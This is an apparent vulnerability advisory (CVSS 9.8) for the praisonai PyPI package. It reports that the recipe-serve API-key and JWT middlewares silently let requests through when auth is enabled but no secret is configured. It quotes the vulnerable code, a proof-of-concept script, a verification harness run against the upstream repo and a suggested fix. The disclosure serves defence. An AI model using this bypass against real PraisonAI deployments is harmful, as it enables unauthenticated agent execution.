PT-2026-53140 · Pypi · Praisonai

Publicado

2026-06-18

·

Atualizado

2026-06-18

CVSS v3.1

9.8

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

praisonai: recipe serve authentication middleware silently disables itself when no secret is set

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

Package: praisonai on PyPI Version tested: 4.6.48. File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).

TL;DR

praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:
python
async def dispatch(self, request, call next):
  if request.url.path == "/health":
    return await call next(request)
  expected key = api key or os.environ.get("PRAISONAI API KEY")
  if not expected key:
    # No key configured, allow request
    return await call next(request)
  ...
python
async def dispatch(self, request, call next):
  if request.url.path == "/health":
    return await call next(request)
  secret = jwt secret or os.environ.get("PRAISONAI JWT SECRET")
  if not secret:
    return await call next(request)
  ...
The realistic mis-deploy:
  1. operator sets auth: api-key (or auth: jwt) in their recipe YAML, expecting that line alone to enable auth,
  2. operator does not set the corresponding api key: / jwt secret: value in the same YAML, AND
  3. operator does not export PRAISONAI API KEY / PRAISONAI JWT SECRET in the environment.
The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.
Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.

Root cause

  Expected behavior, after setting `auth: api-key` in the recipe YAML:
   "Now my recipe endpoints require an X-API-Key header."

  Actual behavior (serve.py:325-333):
   - middleware reads `expected key = api key or
    os.environ.get("PRAISONAI API KEY")`
   - if `expected key` is None (neither YAML nor env supplied
    one), middleware logs nothing and forwards the request.
   - operator's recipe routes accept the request as if it were
    authenticated. request.state.user is unset.

  Impact:
   The middleware's documented job is "validate the API key
   against the configured value". The configured-value-is-None
   case is exactly the case the middleware should fail closed
   on — operator has signalled they want auth. Failing open
   silently turns a documented authentication into a runtime
   no-op.

Empirical verification

poc/poc.py:
  1. Imports the installed praisonai 4.6.48 praisonai.recipe.serve module (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
  2. Clears PRAISONAI API KEY / PRAISONAI JWT SECRET env vars to simulate the mis-deploy.
  3. Calls serve.create auth middleware('api-key', api key=None, jwt secret=None) and instantiates the returned middleware.
  4. Builds a Starlette Request for /runs (the recipe-execution path) with empty headers — no X-API-Key, no Authorization.
  5. await middleware.dispatch(request, fake call next) returns the sentinel 'REACHED-DOWNSTREAM (path=/runs)' from the fake call next — proving the middleware passed the request through without authenticating.
  6. Repeats the test for auth type='jwt' — same bypass on the JWT path.
Run log (poc/run-log.txt) summary:
[2] auth type='api-key', no api key / no PRAISONAI API KEY env
  middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth type='jwt', no jwt secret / no PRAISONAI JWT SECRET env
  middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
  APIKeyAuthMiddleware allowed the request through without an API key.
  JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333

VERDICT: VULNERABLE
EXIT 0

Impact

The recipe-serve surface runs agentic workflows — same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:
  • Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
  • Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
  • In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.

Anchors

  • praisonai/recipe/serve.py:325-333APIKeyAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:352-355JWTAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:688-694 — call site:
python
auth type = config.get("auth")
if auth type and auth type != "none":
  auth middleware = create auth middleware(
    auth type,
    api key=config.get("api key"),
    jwt secret=config.get("jwt secret"),
  )

Suggested fix

When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:
python
def create auth middleware(auth type, api key=None, jwt secret=None):
  if auth type == 'api-key':
    expected key = api key or os.environ.get("PRAISONAI API KEY")
    if not expected key:
      raise SystemExit(
        "auth type='api-key' requested but no API key is "
        "configured. Either set `api key:` in your recipe "
        "YAML or export PRAISONAI API KEY. Refusing to "
        "start with a silently disabled auth middleware."
      )
    ...
  elif auth type == 'jwt':
    secret = jwt secret or os.environ.get("PRAISONAI JWT SECRET")
    if not secret:
      raise SystemExit(
        "auth type='jwt' requested but no JWT secret is "
        "configured. Either set `jwt secret:` in your recipe "
        "YAML or export PRAISONAI JWT SECRET. Refusing to "
        "start with a silently disabled auth middleware."
      )
    ...
This is the same pattern the sibling praisonai.gateway server applies in assert external bind safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py
python
"""
PoC: praisonai 4.6.48 `praisonai recipe serve` configures
authentication via a `auth:` field in the recipe YAML. Setting
`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app — and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.

In reality, both middlewares contain an early-return that silently
bypasses authentication when the corresponding secret has not been
configured (neither via the recipe YAML nor via the
PRAISONAI API KEY / PRAISONAI JWT SECRET env var).
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
  print('=' * 72)
  print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')
  print('=' * 72)

  # Realistic deploy: operator sets `auth: api-key` in YAML but
  # forgets to set api key / env var.
  for env var in ('PRAISONAI API KEY', 'PRAISONAI JWT SECRET'):
    if env var in os.environ:
      del os.environ[env var]

  from praisonai.recipe import serve as serve mod

  src = inspect.getsourcefile(serve mod)
  with open(src, 'rb') as f:
    raw = f.read()
  sha = hashlib.sha256(raw).hexdigest()

  print()
  print(f'[1] serve.py path : {src}')
  print(f'  sha256    : {sha}')

  from starlette.requests import Request
  create auth middleware = serve mod.create auth middleware

  async def fake call next(request):
    return f"REACHED-DOWNSTREAM (path={request.url.path})"

  async def driver(auth type: str, headers=None):
    scope = {
      'type': 'http', 'method': 'GET', 'path': '/runs',
      'headers': headers or [], 'query string': b'', 'scheme': 'http',
      'server': ('127.0.0.1', 8000), 'app': None, 'root path': '',
    }
    request = Request(scope, receive=lambda: None)
    mw cls = create auth middleware(auth type, api key=None, jwt secret=None)
    if mw cls is None:
      return 'middleware-import-failed'
    instance = mw cls(app=None)
    return await instance.dispatch(request, fake call next)

  import asyncio

  print()
  print("[2] auth type='api-key', no api key / no PRAISONAI API KEY env")
  result apikey = asyncio.run(driver('api-key'))
  print(f"  middleware.dispatch -> {result apikey!r}")

  print()
  print("[3] auth type='jwt', no jwt secret / no PRAISONAI JWT SECRET env")
  result jwt = asyncio.run(driver('jwt'))
  print(f"  middleware.dispatch -> {result jwt!r}")

  vulnerable = False
  if isinstance(result apikey, str) and 'REACHED-DOWNSTREAM' in result apikey:
    vulnerable = True
    print('  APIKeyAuthMiddleware allowed the request through without an API key.')
  if isinstance(result jwt, str) and 'REACHED-DOWNSTREAM' in result jwt:
    vulnerable = True
    print('  JWTAuthMiddleware allowed the request through without a Bearer token.')

  # Static check that the bypass is on the code path.
  text = raw.decode('utf-8', errors='replace')
  needle api = '# No key configured, allow request'
  apikey line = next(
    (i for i, l in enumerate(text.splitlines(), 1) if needle api in l),
    None,
  )
  print()
  print('[4] static cross-check — bypass branch on the code path')
  print(f"  grep '{needle api}' -> line {apikey line}")

  if not vulnerable:
    print('UNEXPECTED — the dispatch did not return the bypass result.')
    return 1

  print()
  print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')
  print('      both silently bypass auth when the operator sets auth type')
  print('      but forgets the corresponding secret — unauthenticated access')
  print('      to recipe execution endpoints.')
  print('VERDICT: VULNERABLE')
  return 0

if  name  == ' main ':
  sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.
python
import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
  m=types.ModuleType(p); m. path =[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec from file location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module from spec(spec); serve. package ="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI API KEY", None)  # operator forgot to export it too

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
def make app(mw):
  app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])])
  app.add middleware(mw); return TestClient(app)

# (A) operator set `auth: api-key` but forgot api key + env -> REAL factory returns middleware that SILENTLY bypasses
MW bypass = serve.create auth middleware("api-key", api key=None)    # REAL factory
r = make app(MW bypass).post("/run")
print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status code} body={r.text!r}")

# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401
MW enforced = serve.create auth middleware("api-key", api key="real-secret")
r2 = make app(MW enforced).post("/run")
print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status code} (correctly rejected)")

assert r.status code==200 and "AGENT EXECUTED" in r.text and r2.status code==401
print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:
[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Correção

Missing Authentication

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-J4HJ-7HFH-G2F4

Produtos afetados

Praisonai